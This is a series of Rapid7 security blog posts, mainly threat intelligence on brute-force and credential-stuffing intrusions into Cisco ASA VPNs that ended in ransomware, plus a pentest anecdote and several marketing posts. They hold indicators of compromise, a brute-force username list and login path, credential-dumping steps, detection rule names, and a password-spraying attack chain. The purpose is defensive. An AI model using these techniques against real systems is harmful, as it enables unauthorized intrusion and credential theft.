In today’s ever-evolving cybersecurity landscape, detecting and responding to cyber threats is paramount for organizations in cloud environments. At the same time, investigating cyber threat alerts can be arduous due to the time-consuming and complex process of data collection. To tackle this pain point, Rapid7 developed a new Cloud Resource Enrichment API that streamlines data retrieval from various cloud resources. The API empowers security analysts to swiftly respond to cyber threats and improve incident response time.
Identifying the Need for a Unified API
Protecting cloud resources from cyber attacks is a growing challenge. Security analysts must grapple with gathering relevant data spread across multiple systems and APIs, leading to incident response inefficiencies. Presented with this challenge, we recognized a pressing need for a unified API that collects all relevant data types related to a cloud resource during a cyber threat action. This API streamlines data access, enabling analysts to piece together a comprehensive view of incidents rapidly, enhancing cybersecurity operations.
Defining the Vision and Scope
Our development team worked closely with security analysts to tailor the API’s functionalities to meet real-world needs. Defining the API’s scope involved meticulous prioritization of features, striking the right balance between usability and data abundance. By involving analysts from the outset, we laid a solid foundation for the API’s success.
The Development Journey
Adopting agile methodologies, our team iteratively developed the API, adapting and fine-tuning as we progressed. The iterative development process played a vital role in ensuring the API’s success. By breaking down the project into smaller, manageable tasks, we could focus on specific features, implement them efficiently, and gather feedback from early prototypes. With a comprehensive design phase, we defined the API’s architecture and capabilities based on insights from security analysts. Regular meetings and feedback gathering facilitated continuous improvements, streamlining the data retrieval process.
The API utilizes RESTful API design principles for data integration and communication between cloud systems. It collects the following types of data:
Harvested cloud resource properties (image, IP, network interfaces, region, cloud organization and account, security groups, and much, much more)
Permissions data (permissions on the resource, permissions of the resource)
Application context (tagging made by the client in the cloud environment)
Each data type required collaboration with a different team which is responsible for collecting and processing the data. This resulted in a feature that involved developers from 6 different teams! Regular meetings and continuous communication with the development team and the product manager, allowed us to incorporate suggestions and make iterative improvements to the API’s design and functionality.
Conclusion
The development journey of our Cloud Resource Enrichment API has been both challenging and rewarding. With a user-centric approach, we have crafted a powerful tool that empowers security teams to respond effectively to cyber threats. As we continue to enhance the API, we remain committed to fortifying organizations’ cyber defenses and elevating incident response capabilities. Together, we can better equip security analysts to face the ever-changing cyber war with confidence.
Tyler Starks, Christiaan Beek, Robert Knapp, Zach Dayton, and Caitlin Condon contributed to this blog.
Rapid7’s managed detection and response (MDR) teams have observed increased threat activity targeting Cisco ASA SSL VPN appliances (physical and virtual) dating back to at least March 2023. In some cases, adversaries have conducted credential stuffing attacks that leveraged weak or default passwords; in others, the activity we’ve observed appears to be the result of targeted brute-force attacks on ASA appliances where multi-factor authentication (MFA) was either not enabled or was not enforced for all users (i.e., via MFA bypass groups). Several incidents our managed services teams have responded to ended in ransomware deployment by the Akira and LockBit groups.
There is no clear pattern among target organizations or verticals. Victim organizations varied in size and spanned healthcare, professional services, manufacturing, and oil and gas, along with other verticals. We have included indicators of compromise (IOCs) and attacker behavior observations in this blog, along with practical recommendations to help organizations strengthen their security posture against future attacks. Note: Rapid7 has not observed any bypasses or evasion of correctly configured MFA.
Rapid7 has been actively working with Cisco over the course of our investigations. On August 24, Cisco’s Product Security Incident Response Team (PSIRT) published a blog outlining attack tactics they have observed, many of which overlap with Rapid7’s observations. We thank Cisco for their collaboration and willingness to share information in service of protecting users.
Observed attacker behavior
Rapid7 identified at least 11 customers who experienced Cisco ASA-related intrusions between March 30 and August 24, 2023. Our team traced the malicious activity back to an ASA appliance servicing SSL VPNs for remote users. ASA appliance patches varied across compromised appliances — Rapid7 did not identify any particular version that was unusually susceptible to exploitation.
In our analysis of these intrusions, Rapid7 identified multiple areas of overlap among observed IOCs. The Windows clientname WIN-R84DEUE96RB was often associated with threat actor infrastructure, along with the IP addresses 176.124.201[.]200 and 162.35.92[.]242. We also saw overlap in accounts used to authenticate into internal systems, including the use of accounts TEST, CISCO, SCANUSER, and PRINTER. User domain accounts were also used to successfully authenticate to internal assets — in several cases, attackers successfully authenticated on the first try, which may indicate that the victim accounts were using weak or default credentials.
The below image is an anonymized log entry where an attacker attempts a (failed) login to the Cisco ASA SSL VPN service. In our analysis of log files across different incident response cases, we frequently observed failed login attempts occurring within milliseconds of one another, which points at automated attacks.
In most of the incidents we investigated, threat actors attempted to log into ASA appliances with a common set of usernames, including:
admin
adminadmin
backupadmin
kali
cisco
guest
accounting
developer
ftp user
training
test
printer
echo
security
inspector
test test
snmp
The above is a fairly standard list of accounts that may point at use of a brute forcing tool. In some cases, the usernames in login attempts belonged to actual domain users. While we have no specific evidence of leaked victim credentials, we are aware that it’s possible to attempt to brute force a Cisco ASA service with the path +CSCOE+/logon.htm. VPN group names are also visible in the source code of the VPN endpoint login page and can be easily extracted, which can aid brute forcing attacks.
Upon successful authentication to internal assets, threat actors deployed set.bat. Execution of set.bat resulted in the installation and execution of the remote desktop application AnyDesk, with a set password of greenday#@!. In some cases, nd.exe was executed on systems to dump NTDS.DIT, as well as the SAM and SYSTEM hives, which may have given the adversary access to additional domain user credentials. The threat actors performed further lateral movement and binary executions across other systems within target environments to increase the scope of compromise. As mentioned previously, several of the intrusions culminated in the deployment and execution of Akira or LockBit-related ransomware binaries.
Dark web activity
In parallel with incident response investigations into ASA-based intrusions, Rapid7 threat intelligence teams have been monitoring underground forums and Telegram channels for threat actor discussion about these types of attacks. In February 2023, a well-known initial access broker called “Bassterlord” was observed in XSS forums selling a guide on breaking into corporate networks. The guide, which included chapters on SSL VPN brute forcing, was being sold for $10,000 USD.
When several other forums started leaking information from the guide, Bassterlord posted on Twitter about shifting to a content rental model rather than selling the guide wholesale:
Rapid7 obtained a leaked copy of the manual and analyzed its content. Notably, the author claimed they had compromised 4,865 Cisco SSL VPN services and 9,870 Fortinet VPN services with the username/password combination test:test. It’s possible that, given the timing of the dark web discussion and the increased threat activity we observed, the manual’s instruction contributed to the uptick in brute force attacks targeting Cisco ASA VPNs.
Indicators of compromise
Rapid7 identified the following IP addresses associated with source authentication events to compromised internal assets, as well as outbound connections from AnyDesk:
161.35.92.242
173.208.205.10
185.157.162.21
185.193.64.226
149.93.239.176
158.255.215.236
95.181.150.173
94.232.44.118
194.28.112.157
5.61.43.231
5.183.253.129
45.80.107.220
193.233.230.161
149.57.12.131
149.57.15.181
193.233.228.183
45.66.209.122
95.181.148.101
193.233.228.86
176.124.201.200
162.35.92.242
144.217.86.109
Other IP addresses that were observed conducting brute force attempts:
31.184.236.63
31.184.236.71
31.184.236.79
194.28.112.149
62.233.50.19
194.28.112.156
45.227.255.51
185.92.72.135
80.66.66.175
62.233.50.11
62.233.50.13
194.28.115.124
62.233.50.81
152.89.196.185
91.240.118.9
185.81.68.45
152.89.196.186
185.81.68.46
185.81.68.74
62.233.50.25
62.233.50.17
62.233.50.23
62.233.50.101
62.233.50.102
62.233.50.95
62.233.50.103
92.255.57.202
91.240.118.5
91.240.118.8
91.240.118.7
91.240.118.4
161.35.92.242
45.227.252.237
147.78.47.245
46.161.27.123
94.232.43.143
94.232.43.250
80.66.76.18
94.232.42.109
179.60.147.152
185.81.68.197
185.81.68.75
Many of the IP addresses above were hosted by the following providers:
Chang Way Technologies Co. Limited
Flyservers S.A.
Xhost Internet Solutions Lp
NFOrce Entertainment B.V.
VDSina Hosting
Log-based indicators:
Login attempts with invalid username and password combinations (%ASA-6-113015)
RAVPN session creation (attempts) for unexpected profiles/TGs (%ASA-4-113019, %ASA-4-722041, %ASA-7-734003)
Mitigation guidance
As Rapid7’s mid-year threat review noted, nearly 40% of all incidents our managed services teams responded to in the first half of 2023 stemmed from lack of MFA on VPN or virtual desktop infrastructure. These incidents reinforce that use of weak or default credentials remains common, and that credentials in general are often not protected as a result of lax MFA enforcement in corporate networks.
To mitigate the risk of the attacker behavior outlined in this blog, organizations should:
Ensure default accounts have been disabled or passwords have been reset from the default.
Ensure MFA is enforced across all VPN users, limiting exceptions to this policy as much as possible.
Enable logging on VPNs: Cisco has information on doing this for ASA specifically here, along with guidance on collecting forensic evidence from ASA devices here.
Monitor VPN logs for authentication attempts occurring outside expected locations of employees.
Monitor VPN logs for failed authentications, looking for brute forcing and password spraying patterns.
As a best practice, keep current on patches for security issues in VPNs, virtual desktop infrastructure, and other gateway devices.
Rapid7 is monitoring MDR customers for anomalous authentication events and signs of brute forcing and password spraying. For InsightIDR and MDR customers, the following non-exhaustive list of detection rules are deployed and alerting on activity related to the attack patterns in this blog:
Ingress Auth by Local ASA Account
Attacker Technique – NTDS File Access
Attacker Tool – Impacket Lateral Movement
Process Spawned By SoftPerfect Network Scanner
Execution From Root of ProgramData
Various sources have recently published pieces noting that ransomware groups appear to be targeting Cisco VPNs to gain access to corporate networks. Rapid7 strongly recommends reviewing the IOCs and related information in this blog and in Cisco’s PSIRT blog and taking action to strengthen security posture for VPN implementations.
With increasingly complicated network infrastructure and organizations needing to deploy applications across various environments, cloud containers are necessary for companies to stay agile and innovative. Containers are packages of software that hold all of the necessary components for an app to run in any environment. One of the biggest benefits of cloud containers? They virtualize an operating system, enabling users to access from private data centers, public clouds, and even laptops.
According to recent research by Faction, 92% of organizations have a multi-cloud strategy in place or are in the process of adopting one. In addition to the ubiquity of cloud computing, there are a variety of cloud container providers, including Google Cloud Platform (GCP), Amazon Web Services (AWS), and Microsoft Azure. Nearly 80% of all containers on the cloud, however, run on AWS, which is known for its security, reliability, and scalability.
When it comes to cloud container security, AWS works on a shared responsibility model. This means that security and compliance is shared between AWS and the client. AWS protects the infrastructure running the services offered in the cloud — the hardware, software, networking, and facilities.
Unfortunately, many AWS users stop here. They believe that the security provided by AWS is sufficient to protect their cloud containers. While it is true that the level of customer responsibility for security differs depending on the AWS product, each product does require the customer to assume some level of security responsibility.
To avoid this mistake, let’s examine why your AWS cloud container needs additional client-side security and how Rapid7 can help.
Top reasons why your AWS container needs client-side security
Visibility and monitoring
Some of the same qualities that make containers ideal for agility and innovation also creates difficulty in visibility and monitoring. Cloud containers are ephemeral, which means they’re easy to establish and destroy. This is convenient for quickly moving workloads and applications, but it also makes it difficult to track changes. Many AWS containers share memory and CPU resources with a variety of hosts (physical and cloud) in your ecosystem. Consequently, monitoring resource consumption and assessing container performance and application health can be difficult — after all, how can you know how much memory is being utilized by the container or the physical host?
Traditional monitoring tools and solutions also fail to collect the necessary metrics or provide the crucial insights needed for monitoring and troubleshooting container health and performance. While AWS offers protection for the cloud container structure, visualizing and monitoring what happens within the container is the responsibility of your organization.
Alert contextualization and remediation
As your company grows and you scale your cloud infrastructure, your DevOps teams will continue to create containers. For example, Google runs everything in containers and launches an epic amount of containers (several billion per week!) to keep up with their developer and client needs. While you might not be launching quite as many containers, it’s still easy to lose track of them all. Organizations utilize alerts to keep track of container performance and health to resolve problems quickly. While alerting policies differ, most companies use metric- or log-based alerting.
It can be overwhelming to manage and remediate all of your organization’s container alerts. Not only do these alerts need to be routed to the proper developer or resource owner, but they also need to be remediated quickly to ensure the security and continued good performance of the container.
Cybersecurity standards
While AWS provides security for your foundational services in containerized applications — computing, storage, databases, and networking — it’s your responsibility to develop sufficient security protocols to protect your data, applications, operating system, and firewall. In the same way that your organization follows external cybersecurity standards for security and compliance across the rest of your digital ecosystem, it’s best to align your client-side AWS container security with a well-known industry framework.
Adopting a standardized cybersecurity framework will work in concert with AWS’s security measures by providing guidelines and best practices — preventing your organization from a haphazard security application that creates coverage gaps.
How Rapid7 can help with AWS container security
Now that you know why your organization needs client-side security, here’s how Rapid7 can help.
Visibility and monitoring: Rapid7’s InsightCloudSec continuously scans your cloud’s infrastructure, orchestration platforms, and workloads to provide a real-time assessment of health, performance, and risk. With the ability to scan containers in less than 60 seconds, your team will be able to quickly and accurately track changes in your containers and view the data in a single, convenient platform, perfect for collaborating across teams and quickly remediating issues.
Alert contextualization and remediation: Client-side security measures are key to processing and remediating system alerts in your AWS containers, but it can’t be accomplished manually. Automation is key for alert contextualization and remediation. InsightCloudSec integrates with AWS services like Amazon GuardDuty to analyze logs for malicious activity. The tool also integrates with your larger enterprise security systems to automate the remediation of critical risks in real time — often within 60 seconds.
Cybersecurity standards: While aligning your cloud containers with an industry-standard cybersecurity framework is a necessity, it’s often a struggle. Maintaining security and compliance requirements requires specialized knowledge and expertise. With record staff shortages, this often falls by the wayside. InsightCloudSec automates cloud compliance for well-known industry standards like the National Institute of Standards and Technology’s (NIST) Cybersecurity Framework (CSF) with out-of-the-box policies that map back to specific NIST directives.
Secure your container (and it’s contents)
AWS’s shared responsibility model of security helps relieve operational burdens for organizations operating cloud containers. AWS clients don’t have to worry about the infrastructure security of their cloud containers. The contents in the cloud containers, however, are the owner’s responsibility and require additional security considerations.
Client-side security is necessary for proper monitoring and visibility, reduction in alert fatigue and real-time troubleshooting, and the application of external cybersecurity frameworks. The right tools, like Rapid7’s InsightCloudSec, can provide crucial support in each of these areas and beyond, filling crucial expertise and staffing gaps on your team and empowering your organization to confidently (and securely) utilize cloud containers.
When it comes to security vendor consolidation, Gartner found that 57% of organizations are working with fewer than ten security vendors, utilizing consolidation to cut costs and improve their overall security posture.
But what about the other 43%?
While security vendor consolidation has many advantages — like improved security and operational efficiency as well as cost reduction and improved ROI — however, it’s clear that some myths about consolidation persist. Let’s take a deeper look at three of the most common consolidation myths:
The supremacy of “best of breed” security solutions
Lack of flexibility or vendor lock-in
Increased risk of vendor compromise
Myth #1: The supremacy of “best of breed” security solutions
One of the biggest myths of security vendor consolidation is that after consolidating, organizations will lose access to the superior “best of breed” security approach. “Best of breed” refers to purchasing the best product of each type for your infrastructure’s security needs. This could look like using one vendor for firewall protection, another for observability, a third for remediation, and so on.
While it is true that a “best of breed” approach seems to allow organizations to piece together a tech stack of all the best possible products, that’s not the whole story. Organizations with “best of breed” solutions often end up with technology bloat, or a larger tech stack that requires far more maintenance than single-platform or more streamlined offerings. Additionally, there’s more data created from using tools from multiple vendors, which can actually increase an organization’s attack surface and overall risk level.
Some “best of breed” environments are plagued by interoperability issues — the tools fail to communicate with each other and exchange information properly. This can result in a poorer overall security performance characterized by false alarms and a higher mean time to resolve (MTTR).
Myth #2: Consolidation kills flexibility and creates vendor lock-in
Many security teams believe that consolidation locks you into working with a single or smaller number of vendors who may prove to be unreliable or offer subpar services. In reality, you can easily address concerns of vendor performance and flexibility by carefully researching potential vendors before selecting a solution. During the vetting process, ask potential vendors questions around on- and offboarding, security, maintenance, subscription, and licensing fees.
It’s also important to remember that many vendors offer flexibility within their consolidation packages, which means that you often will be able to build a portfolio of products to meet your needs as opposed to being locked into a specific package.
Finally, working with fewer vendors allows you to develop stronger relationships with fewer vendor representatives, resulting in more comprehensive customer service and support.
Myth #3: Increased risk from vendor compromise
Many organizations fear that after consolidating, if one of its vendors is compromised, then it presents a serious security risk. This is easily avoidable, however, if organizations practice consolidation across functions and not layers.
In general, secure organizations have layers of security, or redundancies in place to catch and remediate vulnerabilities quickly. This approach, also known as “defense in depth,” may look like a security solution to monitor your endpoints and a separate tool to manage threats in your ecosystem.
You don’t want to consolidate within these layers. For example, let’s imagine that you have the same security provider for both your endpoint monitoring and threat management. If the vendor is compromised and unable to provide protection, your infrastructure would be without endpoint management and threat management at the same time, which presents a serious security risk.
Consequently, you’ll want to consolidate across functions. It may be helpful to picture your security needs within a layer. For example, if you’re looking for greater endpoint protection — monitoring, visibility, and remediation — you can look for consolidation solutions in this area. Consolidating across functions can actually strengthen your security posture. Working from a single platform can improve data sharing across tools, efficiency, and remediation processes, creating a stronger layer of security. Then, if a vendor is compromised, you’ll still have active protection from vendors in your other layers.
Consolidation just makes sense
Hesitation around security vendor consolidation is understandable. It’s important not to rush and choose the wrong vendor or platform, which can ultimately put your organization at risk. However, widespread consolidation myths may be holding you back from reaping the financial, operational, and security benefits of consolidation.
Lowering costs is a big one. Organizations with a variety of security vendors are paying for each service, and often, multiple licenses. Consolidation offers a chance to cut costs of multiple subscription and licensing fees, as well as reap the benefits of competitively priced consolidation packages.
Consolidation also boosts operational efficiency. Organizations with too many security vendors struggle with visibility, false alarms, and gaps in their infrastructure’s coverage. The interoperability that consolidation offers can eliminate false alarms and boost visibility, while working with security vendors to build a customized consolidated security package that fits your organization’s needs.
When it comes to consolidation, breaking down the major misconceptions can lead to a stronger, more cohesive security solution equipped to handle the rapidly changing threat landscape.
Ransomware-as-a-Service, or RaaS, has taken the threat landscape by storm — so much so that in 2023, the White House re-classified ransomware as a national security threat. How has RaaS taken the impact of ransomware attacks to this next level of federal concern? By allowing potential cybercriminals to launch a ransomware attack regardless of their experience with programming or technical sophistication.
According to Cybersecurity Ventures, ransomware might cost companies nearly $265 billion annually by the end of 2031. Meanwhile, bad actors get a lot of bang for their buck with Ransomware-as-a-Service. RaaS kit subscriptions can be as little as $40 per month.
That said, security professionals shouldn’t roll over or wave the white flag. Implementing a few key strategies can minimize the effect and decrease the likelihood of falling victim to a RaaS attack.
What is RaaS?
Organizations should clearly understand what RaaS is to make their security strategies specific to the needs of ransomware defense.
So, what is Ransomware-as-a-Service? It’s a business model designed by larger, more sophisticated ransomware groups. These groups utilize their technical expertise to create portable ransomware packages — or kits — that they then sell to buyers aiming to launch their own ransomware attacks.
Basically, ransomware operators turn their processes into a program or software usable by other threat actors. RaaS packages are often advertised on forums on the dark web, and they can also come with downloadable features, bundled offers, and 24/7 support staff. Well-known examples of groups that produce RaaS kits include:
RaaS kits aren’t developed out of the goodness of ransomware groups’ hearts. As noted above, these kits operate similarly to SaaS business models in that users follow some type of payment plan with the original ransomware operators.
These plans might look like:
A one-time licensing fee
A monthly subscription fee
An affiliate program fee — which typically entitles a chunk of the profits to the ransomware group
Pure profit sharing
Defending against RaaS attacks
When it comes to Ransomware-as-a-Service, the best method of defense follows a pretty consistent cybersecurity theme: Prevention is protection. Ransomware attacks are extremely costly and time-consuming for security teams to retroactively address. So, implementing security strategies aimed at stopping RaaS users in their tracks should be considered essential.
However, RaaS attacks are evolving faster than ever, so it can be tough for security teams to know where to start. Here’s a cheat sheet of three easy ways to defend your organization from RaaS attacks — well before they even strike.
1. Patch, patch, and patch again
Patching is a critical part of cybersecurity maintenance. Ransomware operators are looking out for new vulnerabilities to exploit around the clock — after all, that’s their full-time job. So, it’s critical for organizations to amp up their vulnerability management strategy and stay on top of the growing list of critical vulnerability exploits (CVEs) that bad actors use to breach sensitive systems and assets. A rigorous patching program will go a long way in keeping the latest RaaS kits at bay.
RaaS Hack: Keep tabs on what vulnerabilities your organization might have by checking up on CISA’s Known Exploited Vulnerabilities Catalog. This federal resource includes a bulletin that security teams can subscribe to, as well as downloadable versions in CSV and JSON formats.
2. Segment networks to prevent widespread environment proliferation
One of the biggest problems with RaaS attacks is that they move fast. Once RaaS users find an “in,” they can swiftly move into other connected environments — which can lead to an organization getting completely infested by ransomware.
To prevent the RaaS ripple effect, organizations should segment their networks. Network segmentation compartmentalizes one larger network into sub-networks, which allows security teams to devise security controls unique to each smaller network. Sub-networks not only make network security more manageable, they also make network security more diverse — mitigating the damage of one exploited vulnerability.
3. Build and maintain a culture of security
An organization is only as strong as its weakest link — and more often than not, humans are the weakest link. IBM’s 2023 X-Force Threat Intelligence Index found that successful phishing campaigns caused 41% of all security incidents. That means a critical remedy for RaaS attacks is providing organization-wide education on attempts via phishing, business email compromise, or other attack methods reliant on human error.
RaaS Hack: If your organization has limited resources for cybersecurity, leveraging managed services can implement cybersecurity “training wheels.” Managed services vendors can help educate your teams — and by proxy, your whole organization — on best practices for protection against RaaS attacks.
Next steps for RaaS defense
RaaS attacks are growing more frequent and more sophisticated, and it can be tough to match and meet bad actors where they’re at when you are inundated with a laundry list of other daily tasks.
That’s why we built Managed Threat Complete, an always-on MDR with vulnerability management in a single subscription that helps take the load off your security teams so they have space to innovate and strategize. Leverage the skill of our world-class cybersecurity experts and learn how to implement robust RaaS defense in your organization today.
The highly respected SC Awards program, hosted by SC Media, recognizes the solutions, organizations, and people driving innovation and success in information security. Now in its 26th year, the SC Awards continue to grow and evolve.
Rapid7 is proud to announce we have received not one, but two prestigious SC Awards this year! InsightVM is the 2023 SC Award recipient for Best Vulnerability Management Solution and InsightIDR received the award in the brand new Best Threat Detection Technology category.
This year, SC’s panel of independent industry leaders, from sectors including healthcare, financial services, manufacturing, consulting, and education sorted through a record number of entries. Additionally, SC added several new award categories and several modified categories to the competition.
Why InsightVM was selected
InsightVM is a vulnerability management tool that provides visibility into an organization’s security program, enabling security teams to reduce attack surface and security risk. The tool helps manage and mature vulnerability management programs by identifying vulnerabilities, prioritizing remediation efforts, and tracking progress against key metrics.
SC Media says InsightVM was selected for its ability to support the entire vulnerability management lifecycle and enabling security teams to manage their program more effectively. SC also noted the solution’s integration with Project Sonar for external-facing asset and threat exposure monitoring, as well as its robust tagging system to prioritize critical assets for remediation. Finally, they noted that live dashboards, Remediation Projects, and Goals and SLAs ease collaboration with stakeholders.
InsightVM was designed to provide a shared view and common language needed to collaborate with traditionally siloed teams and drive impactful remediation. As a result, easy collaboration stands out to customers as well.
“We’ve got at least five different teams that have responsibility for their own systems,” said Nick Defoe, Director of Information Security, US Signal. “Using the dashboard interface, we’ve been able to build out the reporting for each individual team. Getting these disparate groups all into one platform where they can see what they need to do for vulnerability management has been critical to our success.”
Why InsightIDR was selected
InsightIDR, Rapid7’s cloud-native XDR and next-gen SIEM, offers unified and transformed security data to detect real attacks and provide high-context insights to stop threats early in the attack chain.
According to SC Media, InsightIDR was selected because it empowers teams to deliver sophisticated detection and response outcomes with greater efficiency and efficacy, wherever they are in their security journey. This tracks with customers, as well.
In a recent Techvalidate survey, 92% of Rapid7 customers reported that InsightIDR creates efficiency and scale, and it offers savings that make it an accessible and robust solution for diverse industries and teams.
“When I put Rapid7 in place my response time went from three to four hours to ten to fifteen minutes,” said Kerry LeBlanc, IT Security Engineer, Bioventus. “I see what it is and how to remediate it. Everything is right there. I can query the endpoint or get information and pull up different things on the user.”
SC also noted InsightIDR’s “complete visibility, coverage, superior signal-to-noise, and smarter responses.” InsightIDR provides this complete visibility and coverage with a native endpoint agent, network sensors, collectors and APIs. Lightweight, software-based collection technology and integrations go beyond unifying data to correlate, attribute, and enrich diverse datasets into a single, harmonious picture — unlocking efficiency to give teams time back, ensure that they find real threats faster, and that they can respond quickly and completely.
SecOps metrics can be a gold mine of potential for informing better business decisions, but 78% of CEOs say they don’t have adequate data on risk exposure to make good decisions. Even when they do see the right data, 82% are inclined to “trust their gut” anyway.
Here lies the disconnect between data and decisions for C-level executives: a lack of effective presentation. Ultimately, the responsibility of communicating that SecOps metrics matter falls on today’s security teams. They must transform numbers into narratives that illustrate the challenges in today’s attack landscape to decision-makers — and, most importantly, make stakeholders care about those challenges.
But metrics presentations can get boring. So, how can security professionals present SecOps metrics in an engaging way?
Stories inspire empathy and action
While facts and figures play a role in communication, humans respond differently to stories. With narratives, we understand meaning more deeply, remember events longer, and factor what each story taught us into future decisions. Storytelling is also an effective way for security teams to inspire empathy — and therefore, action — in today’s decision-makers.
It’s critical for security professionals to identify the narrative threadin the metrics they’re analyzing. Here’s what we mean by that, step by step and metric by metric.
Establish how hungry the bad guys are
Hone in on the frequency of security incidents. This metric directly correlates to the power and reach threat actors have. Dive into the causes behind incidents, how much impact incidents had, and what can be done to stop them.
This information gives executives direct insight into the potential risks your organization faces and the negative outcomes associated with them. When executives can see the cold hard number of times their organizations have suffered from a breach, attack, or leak, it can highlight where security strategies are still lacking — and where they’re losing out to malicious actors.
Show how the villains keep winning
MTTD (mean time to detection) is a measure of how fast security teams can detect incidents. While it might not be a flashy metric in and of itself, it can pack a powerful punch when illustrating the damage bad actors can do before they’re suspected of even breaking in.
MTTD provides insight into the efficacy of an organization’s current cybersecurity tools and data coverage. It can also be a helpful indicator of how well current security processes are working — and how overworked or resource-strained a security team might be.
Tell the underdog’s story
Here’s where you leverage MTTR (mean time to respond). This metric shows how quickly the security team can spring into action. More often than not, security teams have a litany of other important tasks at hand that can make MTTR less than ideal. This demonstrates why resource-strained and overworked security professionals are set up to fail if they don’t have the right tools, strategies, and support.
With MTTR, security teams can add an extra layer of context to the data shown by MTTD. This metric highlights how quickly security teams respond to incidents — which can be another indicator of how well tools and processes match up to current threats.
Describe the loot you stand to lose
Finally, communicate the potential cost per incident. Money speaks volumes when you’re crafting a narrative out of SecOps metrics — so it’s best to close out your stories with this powerful data point. This metric provides insight into the efficiency of a cybersecurity program’s processes, tools, and resource allocation.
This is perhaps the most effective metric security professionals can use with executives because it speaks directly to one of their critical concerns: the bottom line.
Putting it all together
While many additional SecOps metrics matter, those four data points can come together most effectively to weave a story that speaks to C-level execs.
However, executives will have their own set of questions and concerns at SecOps briefs. So, it’s important to supplement even the strongest SecOps stories with additional answers, such as:
How efficiently your organization is addressing risks compared to other similar companies.
Where budget spend works and where it doesn’t in terms of ROI.
Where opportunities for increased efficiencies (namely, breaking down disparate silos and cutting costs with consolidation) can come into play.
It all comes down to communication
By focusing on crafting data narratives, security teams can turn SecOps metrics into actionable decisions for stakeholders. Telling the right story to the right people can help procure backing from the top — which means getting the resources, people, and budget security leaders need to stay ahead of threats.
Effectively communicating with C-levels helps build a rapport between stakeholders and boots-on-the-ground security professionals. By presenting metrics as parts of a larger story, organizations can unlock better collaboration, better relationships, and better business outcomes.
At Rapid7 we love a good pentest story. So often they show the cleverness, skill, resilience, and dedication to our customer’s security that can only come from actively trying to break it! In this series, we’re going to share some of our favorite tales from the pen test desk and hopefully highlight some ways you can improve your own organization’s security.
This is a story of how a well defended network was compromised through user enumeration; a vulnerability which many organizations do not consider to be a “real” vulnerability. For the uninitiated, user enumeration vulnerabilities are application behaviors that could allow a malicious actor to determine valid usernames on a service. They are commonly exploited to set up follow-on attempts to guess users’ passwords.
I was tasked with performing an external penetration test for a midsize company. I began the engagement by performing port scanning and service enumeration, and discovered a small number of accessible web services. This led to a wonderful discovery: Outlook Web Access (OWA) was exposed! OWA suffers from a user enumeration vulnerability in which authentication requests involving valid usernames produce different responses than authentication requests involving invalid usernames. This could allow a malicious actor to submit unlimited authentication requests with different usernames, and use the responses to determine whether a given user exists in Exchange or not. We believe that Microsoft has been aware of this problem since 2014 but has not yet patched it. Some security professionals speculate that this may be because Microsoft (like many other companies) does not consider user enumeration to be a vulnerability.
I quickly began user enumeration against this service. After harvesting employee names from LinkedIn, marketing databases, and password breach databases, I coerced the employee names into a username format and verified them against OWA. Once done, I pulled popular names from US Census data and found additional valid usernames. When all was finished I was in possession of hundreds of usernames I could employ for password spray attacks set up through Metasploit. It took just one attempt to find success: a support engineer was using a classic weak password which is compliant with most password policies, [season][year][special character]!
I logged into this user’s email, enumerated their inbox, and found users sending support requests that contained passwords and sensitive information over plaintext! If a malicious actor were to obtain these, they could potentially log into other accounts owned by this company’s clients or employees given the prevalence of password reuse. I also extracted the Exchange Global Address List that contained every email address in the company which would prove incredibly useful for further password spray attacks (or in the hands of a malicious actor, for a business email compromise attack).
Finally, I observed that VMware Horizon, a system used to provide remote access to employee workstations, was accessible to the public internet. When attempting to log in using the compromised credentials it was discovered that multifactor authentication was not being employed. I identified an active Windows virtual machine and logged in over RDP, giving me a foothold in the client’s internal network. This entire attack chain took less than an hour and the ingress into internal systems went undetected by my client.
My client was stunned to say the least, but through our partnership we identified a set of controls which would mitigate all of the identified vulnerabilities. Our subsequent conversations also were able to surface other issues outside of the pentest scope which we helped address, and together we were able to dramatically reduce their organization’s attack surface.
We believe this assessment demonstrates the value of a penetration test: vulnerability scans will not flag findings such as OWA user enumeration, users employing weak passwords that still comply with password policies, and a lack of MFA. Through our penetration testing assessments, we can also demonstrate a more holistic picture of the risks that our clients face by identifying and chaining disparate vulnerabilities together in the way that only a skilled human can. We can then partner with them to ensure swift mitigation using a strategy that is tailor made for the client’s individual environment.
This year, new rules from the Security and Exchange Commission (SEC) about board-level expertise, risk management, and public disclosures will take effect. The European Union is updating its regulations, as well. To meet these new requirements, organizations will need to explain to shareholders exactly how they assess cyber risk, describe security policies, and prove a significant level of board oversight.
In this climate, security leaders will be expected to advise the C-suite on SecOps activities. As a security professional, this can be a challenge. It’s also an opportunity to shape the structure and execution of business and go-to-market decisions.
Cybersecurity metrics are essential to understand where you’re succeeding and where you may need to make changes.
Some examples include:
Number and disposition of security incidents: You have no control of this, but it gives execs insight into the risk they face. There’s an attack every 39 seconds somewhere. What’s life like in your security operation?
Mean time-to-detection (MTTD): This metric gives insight into both efficacy of tools and coverage of data (is the detection coming from a reported incident vs. a tool, etc.).
Mean time-to-respond (MTTR): This also gives insight into your ability to respond and whether your tools and processes meet your threats and use cases.
Cost-per-incident: This gives you insight into efficiency of process, tooling, and also potential staffing shortcomings (like the number of people or specific skills).
There are many other metrics you may need to track to understand your cybersecurity readiness. Good metrics will differ for every organization, depending on your risks, needs, compliance requirements, desired business outcomes, security maturity, and more.
Stories + metrics = success
Generally speaking, executives don’t usually want to get too deep in the weeds. So, your ability to present metrics in a way they understand is critical to achieve cybersecurity goals.
Execs typically want answers to questions like:
What are our risks, and how are we addressing them?
How secure are we compared to similar organizations?
Are we budgeting the right amount for cybersecurity?
Where do we have opportunities for efficiencies or consolidation?
How are we addressing that thing in the news?
So, when presenting to execs it’s essential to put metrics into context. One way to do this is to craft a narrative that brings metrics to life. Stories often have more of an impact than facts and figures alone. This isn’t anecdotal; neuroscience has shown that when we are presented with a story, we understand the information more deeply, remember longer, and are more likely to factor what it taught us into future decisions. For more tips on crafting an effective narrative, and much more, download Presenting Upward: How to Showcase SecOps Metrics That Matter now.
By George Schneider, Information Security Manager at Listrak
I’ve worked in cybersecurity for over two decades, so I’ve seen plenty of platforms come and go—some even crash and burn. But Rapid7, specifically InsightIDR, has consistently performed above expectations. In fact, InsightIDR has become an essential resource for maintaining my company’s cybersecurity posture.
Alerting Rules!
Back in the early days, a SIEM didn’t come with a bunch of standardized alerting rules. We had to write all of our own rules to actually find what we were looking for. Today, instead of spending six hours a day hunting for threats, InsightIDR does a lot of the work for the practitioner. Now, we spend a maximum of one hour a day responding to alerts.
